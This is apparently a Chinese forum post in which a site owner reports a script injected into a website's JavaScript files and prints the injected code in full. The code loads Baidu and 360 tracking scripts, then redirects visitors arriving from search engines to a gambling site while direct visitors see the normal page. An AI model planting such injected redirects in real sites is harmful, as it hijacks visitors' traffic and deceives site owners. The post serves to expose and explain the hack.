前两天有个网站出了问题,发现js文件里被插入了这个网站的js https://www.ttdbty.cc/bob.js
代码是这样的
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?18963394de828e9ee31d0bfb3e310da31";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
(function () {
/*閻ф儳瀹抽幒銊┾偓浣峰敩閻拷*/
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360閹恒劑鈧椒鍞惍锟�*/
var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://tytz857.com\";");
document.writeln("</script>");
插入之后会运行生成这个代码
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )
location.href="https://tytz857.com";
当搜索引擎爬这个站时,会自动跳到后面的赌博网站,而普通人打开网站时又很正常。